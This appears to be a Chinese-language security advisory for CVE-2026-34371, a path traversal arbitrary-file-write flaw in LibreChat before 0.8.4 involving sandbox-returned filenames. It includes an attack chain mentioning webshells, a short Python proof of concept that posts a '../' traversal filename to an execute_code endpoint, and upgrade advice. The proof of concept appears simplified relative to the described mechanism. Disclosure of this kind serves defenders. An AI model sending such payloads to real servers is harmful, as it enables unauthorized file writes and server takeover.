IPBUF安全漏洞报告
English
CVE-2026-34371 CVSS 6.3 中危

CVE-2026-34371 LibreChat任意文件写入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-34371
漏洞类型
任意文件写入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

路径遍历任意文件写入LibreChatCVE-2026-34371

漏洞概述

LibreChat在0.8.4版本之前存在路径遍历漏洞,导致任意文件写入。在使用默认本地文件策略的部署中,系统盲目信任`execute_code`沙箱返回的文件名,未进行有效清理。攻击者可构造包含遍历序列(如../)的恶意文件名,利用`fs.writeFileSync`在服务器端任意位置写入文件,可能实现远程代码执行或接管服务器。

技术细节

该漏洞源于LibreChat在处理`execute_code`沙箱生成文件时的逻辑缺陷,属于典型的不安全输入验证问题。具体而言,应用直接信任沙箱环境返回的`name`字段,并将其未经验证地拼接到服务器端的目标保存路径中,随后调用Node.js的`fs.writeFileSync`函数进行文件写入。由于系统未对文件名中的特殊字符(特别是路径遍历序列如`../`)进行过滤或规范化处理,攻击者可以构造恶意的文件名(例如`../../../../../app/client/dist/poc.js`)来覆盖或创建服务器上的任意文件。结合低权限用户即可触发代码执行的条件,攻击者能够利用此漏洞写入Webshell或恶意JavaScript文件,进而获取服务器控制权。

攻击链分析

STEP 1
1. 访问与认证
攻击者注册或登录LibreChat实例,获得普通用户权限(PR:L)。
STEP 2
2. 触发沙箱
攻击者调用LibreChat的`execute_code`功能,该功能允许在沙箱环境中执行代码并生成文件。
STEP 3
3. 构造恶意载荷
攻击者控制沙箱返回的文件名(name字段),在其中插入路径遍历字符(如`../..`),旨在将文件写入预期目录之外。
STEP 4
4. 执行写入
LibreChat服务器端未过滤文件名,直接将其拼接到保存路径并使用`fs.writeFileSync`写入,导致文件被写入服务器任意位置。
STEP 5
5. 利用后果
攻击者成功写入恶意文件(如Webshell或覆盖关键配置文件),从而可能获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the LibreChat instance target_url = "http://vulnerable-target/api/execute_code" # Malicious payload simulating the execute_code sandbox response # The 'name' field contains path traversal sequences payload = { "code": "console.log('test');", "name": "../../../../../app/client/dist/poc.txt" } try: # Send the malicious request to trigger the vulnerability response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the file was written at the target path.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

LibreChat < 0.8.4

防御指南

临时缓解措施
建议立即升级至官方修复版本0.8.4。如无法立即升级,应严格限制`execute_code`功能的访问权限,或修改文件存储逻辑,确保不直接将外部输入作为文件系统路径的一部分,防止路径遍历攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表